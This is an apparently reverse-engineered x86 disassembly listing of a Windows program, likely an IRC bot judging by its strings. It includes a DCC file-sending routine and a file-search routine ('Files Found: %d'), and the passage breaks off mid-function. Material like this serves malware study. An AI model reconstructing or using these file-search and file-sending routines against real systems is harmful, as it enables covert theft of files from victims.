loc_40C058:				; CODE XREF: sub_40C040+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B9A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40106E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40C058
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40C09A:				; CODE XREF: sub_40C040+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40C040	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C0D0	proc near		; CODE XREF: sub_4021EEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401569
sub_40C0D0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C0E5
		mov	edi, esi


loc_40C0E5:				; CODE XREF: ___:0040C0E1j
		push	esi
		call	sub_402117
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C0FA
		mov	edi, esi


loc_40C0FA:				; CODE XREF: ___:0040C0F6j
		push	esi
		call	sub_40215D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C120	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402077
sub_40C120	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C140	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C140	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C160	proc near		; CODE XREF: sub_401848j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C160	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C180	proc near		; CODE XREF: sub_402158j
		mov	eax, ecx
		retn
sub_40C180	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1A0	proc near		; CODE XREF: sub_4014B0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C1A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1D0	proc near		; CODE XREF: sub_401CFDj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C1D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C200	proc near		; CODE XREF: sub_40106Ej

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401B9A
		mov	ecx, eax
		call	sub_4016AE
		mov	esi, eax
		push	esi
		call	sub_402117
		push	esi
		mov	ebx, eax
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40215D
		push	esi
		mov	ebx, eax
		call	sub_402117
		mov	eax, [eax]
		push	eax
		call	sub_40215D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FEB
sub_40C200	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2C0	proc near		; CODE XREF: sub_40215Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C2C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C2E0	proc near		; CODE XREF: sub_401569j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_40C2E0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C310	proc near		; CODE XREF: sub_402077j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40C310	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C330	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C330	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C360	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C360	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C380	proc near		; CODE XREF: sub_4016AEj
		mov	eax, [ecx]
		retn
sub_40C380	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3A0	proc near		; CODE XREF: sub_401B9Aj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C3A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3D0	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_40C3D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3F0	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C40B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C40B:				; CODE XREF: sub_40C3F0+11j
		retn
sub_40C3F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C440	proc near		; CODE XREF: sub_401BF9j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C440
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_40C440	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C4E0	proc near		; CODE XREF: sub_40171Cj

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C4E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014DD
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CA2E
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40202C
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C5AC
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		nop
		call	sub_5F67AE
		add	esp, 8
		jmp	loc_40C9D5
; ---------------------------------------------------------------------------


loc_40C5AC:				; CODE XREF: sub_40C4E0+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_40C5FA
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C6A0
; ---------------------------------------------------------------------------


loc_40C5FA:				; CODE XREF: sub_40C4E0+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		nop
		call	near ptr 71AB951Eh
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		call	near ptr 71AB2B66h
		nop
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014DD
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C653:				; CODE XREF: sub_40C4E0+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C665
		mov	eax, 5Fh
		jmp	short loc_40C668
; ---------------------------------------------------------------------------


loc_40C665:				; CODE XREF: sub_40C4E0+17Cj
		movsx	eax, al


loc_40C668:				; CODE XREF: sub_40C4E0+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C653
		push	1
		push	ebx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_40C6BD
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C6A0:				; CODE XREF: sub_40C4E0+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		jmp	loc_40C9CF
; ---------------------------------------------------------------------------


loc_40C6BD:				; CODE XREF: sub_40C4E0+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017EE
		push	eax
		call	near ptr 286040Bh
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C724
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		nop
		call	sub_5F67AE
		add	esp, 8
		jmp	loc_40C9CF
; ---------------------------------------------------------------------------


loc_40C724:				; CODE XREF: sub_40C4E0+201j
		push	0
		push	esi
		call	near ptr 2860000h
		nop
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_40142E
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D809D
		push	eax
		call	sub_401E10
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB2BF4h
		push	eax
		call	near ptr 71AB2BC0h
		nop
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_444A18
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_40168B
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jg	short loc_40C81D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		jmp	loc_40C9BA
; ---------------------------------------------------------------------------


loc_40C81D:				; CODE XREF: sub_40C4E0+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C86D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		jmp	loc_40C9BA
; ---------------------------------------------------------------------------


loc_40C86D:				; CODE XREF: sub_40C4E0+360j
		push	edi
		nop
		call	near ptr 71AB9639h
		test	ebx, ebx
		jz	loc_40C925


loc_40C87C:				; CODE XREF: sub_40C4E0+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C887
		mov	ebp, ebx


loc_40C887:				; CODE XREF: sub_40C4E0+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		nop
		call	near ptr 2850359h
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		call	near ptr 2850000h
		nop
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		call	near ptr 71AB615Ah
		nop
		cmp	eax, 1
		jl	loc_40C9EE
		cmp	edi, 1
		jl	loc_40C9EE
		sub	ebx, edi
		jnz	loc_40C87C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C925:				; CODE XREF: sub_40C4E0+396j
		push	esi
		nop
		call	near ptr 2840881h
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_40142E
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014DD
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C9BA:				; CODE XREF: sub_40C4E0+338j
					; sub_40C4E0+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C9CF:				; CODE XREF: sub_40C4E0+1D8j
					; sub_40C4E0+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C9DC


loc_40C9D5:				; CODE XREF: sub_40C4E0+C7j
		push	ebx
		nop
		call	near ptr 71AB9639h


loc_40C9DC:				; CODE XREF: sub_40C4E0+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		nop
		call	near ptr 71AB9639h
		push	esi
		nop
		call	near ptr 284012Ch


loc_40C9EE:				; CODE XREF: sub_40C4E0+427j
					; sub_40C4E0+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		call	near ptr 71AB9639h
		nop
		push	1
		call	near ptr 284012Ch
		nop


loc_40CA2E:				; CODE XREF: sub_40C4E0+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C4E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CBB0	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_40CBB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CBD0:				; CODE XREF: ___:loc_401B13j
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CBF0	proc near		; CODE XREF: sub_402063j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CBF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_40CBF0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CC90	proc near		; CODE XREF: sub_401BB8j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CC90
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014DD
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CE91
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40199C
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40202C
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E47
		push	offset asc_444AEC ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CE0B
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E47
		push	offset dword_448F44
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


loc_40CE0B:				; CODE XREF: sub_40CC90+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014DD
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_40168B
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_40227A
		push	eax
		lea	edx, [esp+2A0h+var_20C]
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		nop
		call	sub_5F67AE
		mov	eax, [esp+2A4h+var_211]
		add	esp, 24h
		cmp	eax, ebx
		jnz	short loc_40CE7C
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_40168B
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_40152D
		add	esp, 10h


loc_40CE7C:				; CODE XREF: sub_40CC90+1C9j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E3D
		add	esp, 4
		push	ebx
		nop
		call	near ptr 284012Ch
		pop	ebx


loc_40CE91:				; CODE XREF: sub_40CC90+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CC90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CF40	proc near		; CODE XREF: sub_40199Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CF40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
